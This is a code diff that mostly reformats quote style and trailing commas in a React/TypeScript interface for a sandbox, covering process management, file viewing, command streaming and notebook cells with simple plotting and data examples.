console.log('Process killed:', processId); await refreshProcesses(); } catch (error: any) { - console.error("Failed to kill process:", error); + console.error('Failed to kill process:', error); alert(`Failed to kill process: ${error.message || error}`); } }; // Kill all processes const killAllProcesses = async () => { - if (!client || connectionStatus !== "connected") return; + if (!client || connectionStatus !== 'connected') return; - if (!confirm("Are you sure you want to kill all processes?")) return; + if (!confirm('Are you sure you want to kill all processes?')) return; try { const response = await client.killAllProcesses(); - console.log("Killed processes:", response.killedCount); + console.log('Killed processes:', response.killedCount); await refreshProcesses(); } catch (error: any) { - console.error("Failed to kill all processes:", error); + console.error('Failed to kill all processes:', error); alert(`Failed to kill all processes: ${error.message || error}`); } }; // Get process logs const getProcessLogs = async (processId: string) => { - if (!client || connectionStatus !== "connected") return; + if (!client || connectionStatus !== 'connected') return; try { const response = await client.getProcessLogs(processId); setProcessLogs(response); setSelectedProcess(processId); } catch (error: any) { - console.error("Failed to get process logs:", error); + console.error('Failed to get process logs:', error); alert(`Failed to get process logs: ${error.message || error}`); } }; - const getStatusColor = (status: ProcessInfo["status"]) => { + const getStatusColor = (status: ProcessInfo['status']) => { switch (status) { - case "starting": - return "text-yellow-500"; - case "running": - return "text-blue-500"; - case "completed": - return "text-green-500"; - case "failed": - case "error": - return "text-red-500"; - case "killed": - return "text-orange-500"; + case 'starting': + return 'text-yellow-500'; + case 'running': + return 'text-blue-500'; + case 'completed': + return 'text-green-500'; + case 'failed': + case 'error': + return 'text-red-500'; + case 'killed': + return 'text-orange-500'; default: - return "text-gray-500"; + return 'text-gray-500'; } }; - const getStatusIcon = (status: ProcessInfo["status"]) => { + const getStatusIcon = (status: ProcessInfo['status']) => { switch (status) { - case "starting": - return "โณ"; - case "running": - return "๐ŸŸข"; - case "completed": - return "โœ…"; - case "failed": - case "error": - return "โŒ"; - case "killed": - return "๐Ÿ”ถ"; + case 'starting': + return 'โณ'; + case 'running': + return '๐ŸŸข'; + case 'completed': + return 'โœ…'; + case 'failed': + case 'error': + return 'โŒ'; + case 'killed': + return '๐Ÿ”ถ'; default: - return "โณ"; + return 'โณ'; } }; @@ -829,7 +841,7 @@ function ProcessManagementTab({ disabled={isLoading} className="btn btn-refresh" > - {isLoading ? "Refreshing..." : "Refresh"} + {isLoading ? 'Refreshing...' : 'Refresh'}
    @@ -922,10 +934,10 @@ function ProcessManagementTab({
    {process.id}
    {process.command}
    -
    {process.pid || "N/A"}
    +
    {process.pid || 'N/A'}
    {new Date(process.startTime).toLocaleString()}
    @@ -1002,7 +1014,7 @@ function ProcessManagementTab({ > Logs - {process.status === "running" && ( + {process.status === 'running' && (
    @@ -1386,11 +1398,11 @@ with socketserver.TCPServer(("", PORT), MyHandler) as httpd: disabled={ !portNumber.trim() || isExposing || - connectionStatus !== "connected" + connectionStatus !== 'connected' } className="btn btn-expose-port" > - {isExposing ? "Exposing..." : "Expose Port"} + {isExposing ? 'Exposing...' : 'Expose Port'} @@ -1400,21 +1412,21 @@ with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
    {fileContent && ( @@ -1834,7 +1853,7 @@ function FilesTab({ @@ -2256,8 +2288,8 @@ function FilesTab({

    {useStreaming - ? "๐Ÿ“ก Streams file in chunks via SSE - better for large files" - : "๐Ÿ“„ Reads entire file at once - simpler but loads all into memory"} + ? '๐Ÿ“ก Streams file in chunks via SSE - better for large files' + : '๐Ÿ“„ Reads entire file at once - simpler but loads all into memory'}

    @@ -2270,10 +2302,14 @@ function FilesTab({ />
    @@ -2286,7 +2322,8 @@ function FilesTab({
    File Type: - {binaryFileMetadata.isBinary ? "๐Ÿ–ผ๏ธ" : "๐Ÿ“„"} {binaryFileMetadata.mimeType} + {binaryFileMetadata.isBinary ? '๐Ÿ–ผ๏ธ' : '๐Ÿ“„'}{' '} + {binaryFileMetadata.mimeType}
    @@ -2303,8 +2340,12 @@ function FilesTab({
    Binary: - - {binaryFileMetadata.isBinary ? "โœ“ Yes" : "โœ— No"} + + {binaryFileMetadata.isBinary ? 'โœ“ Yes' : 'โœ— No'}
    @@ -2312,7 +2353,8 @@ function FilesTab({ {/* File Preview */}

    ๐Ÿ” Preview

    - {binaryFileMetadata.isBinary && binaryFileMetadata.mimeType.startsWith("image/") ? ( + {binaryFileMetadata.isBinary && + binaryFileMetadata.mimeType.startsWith('image/') ? (
    ) : (
    -
    -                    {binaryFileMetadata.content}
    -                  
    +
    {binaryFileMetadata.content}

    Text file content

    )} @@ -2358,7 +2398,7 @@ function FilesTab({ {result.timestamp.toLocaleTimeString()} - {result.type === "success" ? "โœ“" : "โœ—"} + {result.type === 'success' ? 'โœ“' : 'โœ—'} {result.message}
    @@ -2372,31 +2412,31 @@ function FilesTab({ function StreamingTab({ client, connectionStatus, - sessionId, + sessionId }: { client: SandboxApiClient | null; - connectionStatus: "disconnected" | "connecting" | "connected"; + connectionStatus: 'disconnected' | 'connecting' | 'connected'; sessionId: string | null; }) { const [activeStreams, setActiveStreams] = useState([]); - const [commandInput, setCommandInput] = useState(""); + const [commandInput, setCommandInput] = useState(''); const [isStreaming, setIsStreaming] = useState(false); const [processes, setProcesses] = useState([]); // Refresh processes for log streaming useEffect(() => { const refreshProcesses = async () => { - if (!client || connectionStatus !== "connected") return; + if (!client || connectionStatus !== 'connected') return; try { const response = await client.listProcesses(); setProcesses(response.processes); } catch (error) { - console.error("Failed to refresh processes:", error); + console.error('Failed to refresh processes:', error); } }; - if (connectionStatus === "connected") { + if (connectionStatus === 'connected') { refreshProcesses(); const interval = setInterval(refreshProcesses, 3000); return () => clearInterval(interval); @@ -2407,7 +2447,7 @@ function StreamingTab({ const startCommandStream = async () => { if ( !client || - connectionStatus !== "connected" || + connectionStatus !== 'connected' || !commandInput.trim() || isStreaming ) @@ -2417,45 +2457,45 @@ function StreamingTab({ const command = commandInput.trim(); setIsStreaming(true); - setCommandInput(""); + setCommandInput(''); // Add stream to active streams const newStream: ActiveStream = { id: streamId, - type: "command", + type: 'command', title: `Command: ${command}`, command: command, isActive: true, events: [], - startTime: new Date(), + startTime: new Date() }; setActiveStreams((prev) => [...prev, newStream]); try { // Use the new execStream AsyncIterable method - const commandParts = command.split(" "); + const commandParts = command.split(' '); const cmd = commandParts[0]; const args = commandParts.slice(1); const streamIterable = client.execStream(cmd, args, { sessionId: sessionId || undefined, - signal: new AbortController().signal, + signal: new AbortController().signal }); for await (const event of streamIterable) { const streamEvent: StreamEvent = { id: `${streamId}_${Date.now()}_${Math.random()}`, type: event.type as - | "start" - | "stdout" - | "stderr" - | "complete" - | "error", + | 'start' + | 'stdout' + | 'stderr' + | 'complete' + | 'error', timestamp: event.timestamp, data: event.data, command: event.command, exitCode: event.exitCode, - error: event.error, + error: event.error }; setActiveStreams((prev) => @@ -2464,25 +2504,25 @@ function StreamingTab({ ? { ...stream, events: [...stream.events, streamEvent], - isActive: event.type !== "complete" && event.type !== "error", + isActive: event.type !== 'complete' && event.type !== 'error' } : stream ) ); // Break on completion or error - if (event.type === "complete" || event.type === "error") { + if (event.type === 'complete' || event.type === 'error') { break; } } } catch (error) { - console.error("Streaming error:", error); + console.error('Streaming error:', error); const errorEvent: StreamEvent = { id: `${streamId}_error_${Date.now()}`, - type: "error", + type: 'error', timestamp: new Date().toISOString(), - error: error instanceof Error ? error : new Error(String(error)), + error: error instanceof Error ? error : new Error(String(error)) }; setActiveStreams((prev) => @@ -2491,7 +2531,7 @@ function StreamingTab({ ? { ...stream, events: [...stream.events, errorEvent], - isActive: false, + isActive: false } : stream ) @@ -2505,28 +2545,28 @@ function StreamingTab({ const startProcessLogStream = async (selectedProcessId: string) => { if ( !client || - connectionStatus !== "connected" || + connectionStatus !== 'connected' || !selectedProcessId.trim() ) return; const streamId = `logs_${selectedProcessId}_${Date.now()}`; - + // Create an AbortController for this stream const abortController = new AbortController(); - + // Store the abort controller so it can be aborted when user clicks stop streamAbortControllers.current.set(streamId, abortController); // Add stream to active streams const newStream: ActiveStream = { id: streamId, - type: "process-logs", + type: 'process-logs', title: `Process Logs: ${selectedProcessId}`, processId: selectedProcessId, isActive: true, events: [], - startTime: new Date(), + startTime: new Date() }; setActiveStreams((prev) => [...prev, newStream]); @@ -2540,11 +2580,11 @@ function StreamingTab({ for await (const logEvent of logStreamIterable) { const streamEvent: LogStreamEvent = { id: `${streamId}_${Date.now()}_${Math.random()}`, - type: logEvent.type as "stdout" | "stderr" | "status" | "error", + type: logEvent.type as 'stdout' | 'stderr' | 'status' | 'error', timestamp: logEvent.timestamp, data: logEvent.data, processId: logEvent.processId, - sessionId: logEvent.sessionId, + sessionId: logEvent.sessionId }; setActiveStreams((prev) => @@ -2555,37 +2595,35 @@ function StreamingTab({ ) ); } - + // Clean up abort controller when stream completes naturally streamAbortControllers.current.delete(streamId); } catch (error) { // Clean up abort controller on error streamAbortControllers.current.delete(streamId); - + // Don't log abort errors or add error events for user cancellation if (error instanceof Error && error.name === 'AbortError') { - console.log("Log streaming aborted by user"); + console.log('Log streaming aborted by user'); // Just mark the stream as inactive without adding error event setActiveStreams((prev) => prev.map((stream) => - stream.id === streamId - ? { ...stream, isActive: false } - : stream + stream.id === streamId ? { ...stream, isActive: false } : stream ) ); return; } - - console.error("Log streaming error:", error); + + console.error('Log streaming error:', error); const errorEvent: LogStreamEvent = { id: `${streamId}_error_${Date.now()}`, - type: "error", + type: 'error', timestamp: new Date().toISOString(), data: `Error: ${ error instanceof Error ? error.message : String(error) }`, - processId: selectedProcessId, + processId: selectedProcessId }; setActiveStreams((prev) => @@ -2594,7 +2632,7 @@ function StreamingTab({ ? { ...stream, events: [...stream.events, errorEvent], - isActive: false, + isActive: false } : stream ) @@ -2603,8 +2641,10 @@ function StreamingTab({ }; // Map to store abort controllers for active streams - const streamAbortControllers = useRef>(new Map()); - + const streamAbortControllers = useRef>( + new Map() + ); + // Stop a stream const stopStream = (streamId: string) => { setActiveStreams((prev) => @@ -2612,7 +2652,7 @@ function StreamingTab({ stream.id === streamId ? { ...stream, isActive: false } : stream ) ); - + // Abort the fetch if an abort controller exists const controller = streamAbortControllers.current.get(streamId); if (controller) { @@ -2634,20 +2674,20 @@ function StreamingTab({ // Get event color const getEventColor = (type: string) => { switch (type) { - case "start": - return "text-blue-500"; - case "stdout": - return "text-green-500"; - case "stderr": - return "text-red-500"; - case "complete": - return "text-green-500"; - case "error": - return "text-red-500"; - case "status": - return "text-yellow-500"; + case 'start': + return 'text-blue-500'; + case 'stdout': + return 'text-green-500'; + case 'stderr': + return 'text-red-500'; + case 'complete': + return 'text-green-500'; + case 'error': + return 'text-red-500'; + case 'status': + return 'text-yellow-500'; default: - return "text-gray-500"; + return 'text-gray-500'; } }; @@ -2683,7 +2723,7 @@ function StreamingTab({ onChange={(e) => setCommandInput(e.target.value)} className="stream-input" onKeyPress={(e) => { - if (e.key === "Enter") { + if (e.key === 'Enter') { startCommandStream(); } }} @@ -2693,11 +2733,11 @@ function StreamingTab({ disabled={ !commandInput.trim() || isStreaming || - connectionStatus !== "connected" + connectionStatus !== 'connected' } className="btn btn-stream-start" > - {isStreaming ? "Starting..." : "Start Stream"} + {isStreaming ? 'Starting...' : 'Start Stream'}
    @@ -2707,7 +2747,7 @@ function StreamingTab({

    Quick Stream Commands:

    ))}
    @@ -2886,29 +2926,29 @@ interface NotebookCell { id: string; code: string; output: any[]; - status: "idle" | "running" | "completed" | "error"; + status: 'idle' | 'running' | 'completed' | 'error'; executionCount: number; } function NotebookTab({ client, - connectionStatus, + connectionStatus }: { client: SandboxApiClient | null; - connectionStatus: "disconnected" | "connecting" | "connected"; + connectionStatus: 'disconnected' | 'connecting' | 'connected'; }) { const [cells, setCells] = useState([]); const [notebookSessionId, setNotebookSessionId] = useState( null ); - const [language, setLanguage] = useState<"python" | "javascript">("python"); + const [language, setLanguage] = useState<'python' | 'javascript'>('python'); const [activeCell, setActiveCell] = useState(null); const cellRefs = useRef<{ [key: string]: HTMLTextAreaElement | null }>({}); // Initialize notebook session useEffect(() => { const initSession = async () => { - if (!client || connectionStatus !== "connected") return; + if (!client || connectionStatus !== 'connected') return; try { const session = await client.createNotebookSession(language); @@ -2916,11 +2956,11 @@ function NotebookTab({ // Add first cell automatically addCell(); } catch (error) { - console.error("Failed to create notebook session:", error); + console.error('Failed to create notebook session:', error); } }; - if (connectionStatus === "connected") { + if (connectionStatus === 'connected') { initSession(); } @@ -2934,10 +2974,10 @@ function NotebookTab({ const addCell = () => { const newCell: NotebookCell = { id: `cell-${Date.now()}`, - code: "", + code: '', output: [], - status: "idle", - executionCount: 0, + status: 'idle', + executionCount: 0 }; setCells((prev) => [...prev, newCell]); @@ -2961,7 +3001,7 @@ function NotebookTab({ }; const runCell = async (cellId: string, runAndAddNew: boolean = false) => { - if (!client || !notebookSessionId || connectionStatus !== "connected") + if (!client || !notebookSessionId || connectionStatus !== 'connected') return; const cell = cells.find((c) => c.id === cellId); @@ -2973,9 +3013,9 @@ function NotebookTab({ c.id === cellId ? { ...c, - status: "running", + status: 'running', output: [], - executionCount: c.executionCount + 1, + executionCount: c.executionCount + 1 } : c ) @@ -2991,28 +3031,28 @@ function NotebookTab({ language )) { switch (event.type) { - case "stdout": - outputs.push({ type: "stdout", text: event.text }); + case 'stdout': + outputs.push({ type: 'stdout', text: event.text }); break; - case "stderr": - outputs.push({ type: "stderr", text: event.text }); + case 'stderr': + outputs.push({ type: 'stderr', text: event.text }); break; - case "result": + case 'result': outputs.push({ - type: "result", + type: 'result', data: event, png: event.png, html: event.html, text: event.text, - json: event.json, + json: event.json }); break; - case "error": + case 'error': outputs.push({ - type: "error", + type: 'error', ename: event.ename, evalue: event.evalue, - traceback: event.traceback, + traceback: event.traceback }); break; } @@ -3027,27 +3067,27 @@ function NotebookTab({ // Mark as completed setCells((prev) => - prev.map((c) => (c.id === cellId ? { ...c, status: "completed" } : c)) + prev.map((c) => (c.id === cellId ? { ...c, status: 'completed' } : c)) ); if (runAndAddNew) { addCell(); } } catch (error) { - console.error("Cell execution error:", error); + console.error('Cell execution error:', error); setCells((prev) => prev.map((c) => c.id === cellId ? { ...c, - status: "error", + status: 'error', output: [ ...c.output, { - type: "error", - text: `Execution error: ${error}`, - }, - ], + type: 'error', + text: `Execution error: ${error}` + } + ] } : c ) @@ -3056,10 +3096,10 @@ function NotebookTab({ }; const handleKeyDown = (e: React.KeyboardEvent, cellId: string) => { - if (e.ctrlKey && e.key === "Enter") { + if (e.ctrlKey && e.key === 'Enter') { e.preventDefault(); runCell(cellId); - } else if (e.shiftKey && e.key === "Enter") { + } else if (e.shiftKey && e.key === 'Enter') { e.preventDefault(); runCell(cellId, true); } @@ -3067,13 +3107,13 @@ function NotebookTab({ const renderOutput = (output: any) => { switch (output.type) { - case "stdout": + case 'stdout': return
    {output.text}
    ; - case "stderr": + case 'stderr': return
    {output.text}
    ; - case "error": + case 'error': return (
    @@ -3081,13 +3121,13 @@ function NotebookTab({
    {output.traceback && (
    -                {output.traceback.join("\n")}
    +                {output.traceback.join('\n')}
                   
    )}
    ); - case "result": + case 'result': if (output.png) { return ( { + const loadExample = (type: 'plot' | 'data' | 'js') => { const examples = { plot: { - lang: "python" as const, + lang: 'python' as const, code: `# Create a beautiful visualization import matplotlib.pyplot as plt import numpy as np @@ -3146,10 +3186,10 @@ plt.xlabel('x', fontsize=12) plt.ylabel('y', fontsize=12) plt.legend(loc='upper right') plt.grid(True, alpha=0.3) -plt.show()`, +plt.show()` }, data: { - lang: "python" as const, + lang: 'python' as const, code: `# Data analysis with pandas import pandas as pd import numpy as np @@ -3188,10 +3228,10 @@ plt.tight_layout() plt.show() # Show data table -df.head()`, +df.head()` }, js: { - lang: "javascript" as const, + lang: 'javascript' as const, code: `// JavaScript example with console output console.log("Hello from JavaScript!"); @@ -3222,8 +3262,8 @@ console.log("\\nDemo Info:"); console.log(JSON.stringify(data, null, 2)); // Return a result -{ fibonacci: fib, info: data }`, - }, +{ fibonacci: fib, info: data }` + } }; const example = examples[type]; @@ -3238,8 +3278,8 @@ console.log(JSON.stringify(data, null, 2)); id: `cell-${Date.now()}`, code: example.code, output: [], - status: "idle", - executionCount: 0, + status: 'idle', + executionCount: 0 }; setCells((prev) => [...prev, newCell]); }; @@ -3252,7 +3292,7 @@ console.log(JSON.stringify(data, null, 2));